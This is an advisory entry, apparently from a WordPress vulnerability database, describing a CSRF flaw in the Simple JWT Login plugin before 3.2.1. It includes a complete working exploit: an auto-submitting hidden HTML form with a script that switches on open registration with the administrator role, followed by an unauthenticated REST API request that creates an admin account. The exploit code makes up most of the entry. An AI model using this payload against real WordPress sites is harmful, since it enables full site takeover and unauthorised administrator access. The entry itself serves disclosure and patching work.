Lucene search

K
wpexploitApple502jWPEX-ID:6F015E8E-462B-4EF7-A9A1-BB91E7D28E37
HistoryOct 18, 2021 - 12:00 a.m.

Simple JWT Login < 3.2.1 - Arbitrary Settings Update to Site Takeover via CSRF

2021-10-1800:00:00
apple502j
351

0.001 Low

EPSS

Percentile

44.2%

The plugin does not have nonce checks when saving its settings, allowing attackers to make a logged in admin changed them. Settings such as HMAC verification secret, account registering and default user roles can be updated, which could result in site takeover.

The following HTML code can be used to trick an admin into changing the settings. After the exploitation, the attacker can use the REST API to create a new user with elevated privileges.

<form action="https://example.com/wp-admin/admin.php?page=main-page-simple-jwt-login-plugin" method="post" id="csrf">
<input type="hidden" name="route_namespace" value="simple-jwt-login/v1/">
<input type="hidden" name="decryption_source" value="0">
<input type="hidden" name="jwt_algorithm" value="HS256">
<input type="hidden" name="decryption_key" value="jwt-decryption-key-lorem-ipsum">
<input type="hidden" name="decryption_key_base64" value="0">
<input type="hidden" name="decryption_key_public" value="">
<input type="hidden" name="decryption_key_private" value="">
<input type="hidden" name="request_keys[url]" value="JWT">
<input type="hidden" name="request_jwt_url" value="1">
<input type="hidden" name="request_keys[session]" value="simple-jwt-login-token">
<input type="hidden" name="request_jwt_session" value="0">
<input type="hidden" name="request_keys[cookie]" value="simple-jwt-login-token">
<input type="hidden" name="request_jwt_cookie" value="0">
<input type="hidden" name="request_keys[header]" value="Authorization">
<input type="hidden" name="request_jwt_header" value="1">
<input type="hidden" name="allow_autologin" value="0">
<input type="hidden" name="require_login_auth" value="0">
<input type="hidden" name="jwt_login_by" value="0">
<input type="hidden" name="jwt_login_by_parameter" value="">
<input type="hidden" name="redirect" value="0">
<input type="hidden" name="redirect_url" value="">
<input type="hidden" name="login_ip" value="">
<!-- These three settings allow anyone to create Administrator account -->
<input type="hidden" name="allow_register" value="1">
<input type="hidden" name="require_register_auth" value="0">
<input type="hidden" name="new_user_profile" value="administrator">
<input type="hidden" name="register_ip" value="">
<input type="hidden" name="register_domain" value="">
<input type="hidden" name="allowed_user_meta" value="">
<input type="hidden" name="allow_delete" value="0">
<input type="hidden" name="require_delete_auth" value="1">
<input type="hidden" name="delete_user_by" value="0">
<input type="hidden" name="jwt_delete_by_parameter" value="">
<input type="hidden" name="delete_ip" value="">
<input type="hidden" name="allow_reset_password" value="0">
<input type="hidden" name="reset_password_requires_auth_code" value="0">
<input type="hidden" name="jwt_reset_password_flow" value="0">
<input type="hidden" name="jwt_email_subject" value="">
<input type="hidden" name="jwt_reset_password_email_body" value="">
<input type="hidden" name="jwt_email_type" value="0">
<input type="hidden" name="allow_authentication" value="1">
<input type="hidden" name="auth_requires_auth_code" value="0">
<input type="hidden" name="jwt_payload[]" value="username">
<input type="hidden" name="jwt_auth_ttl" value="60">
<input type="hidden" name="jwt_auth_refresh_ttl" value="20160">
<input type="hidden" name="auth_ip" value="">
<input type="hidden" name="auth_code_key" value="AUTH_KEY">
<input type="hidden" name="auth_codes[code][]" value="">
<input type="hidden" name="auth_codes[role][]" value="">
<input type="hidden" name="auth_codes[expiration_date][]" value="">
<input type="hidden" name="cors[enabled]" value="0">
<input type="hidden" name="cors[allow_origin]" value="*">
<input type="hidden" name="cors[allow_methods]" value="GET, POST, PUT, DELETE, OPTIONS, HEAD">
<input type="hidden" name="cors[allow_headers]" value="*">
</form>
<script>csrf.submit()</script>

Then the below request made by an unauthenticated user will create an admin user

POST /?rest_route=/simple-jwt-login/v1/users HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Connection: close

[email protected]&password=Passw0rd

0.001 Low

EPSS

Percentile

44.2%

Related for WPEX-ID:6F015E8E-462B-4EF7-A9A1-BB91E7D28E37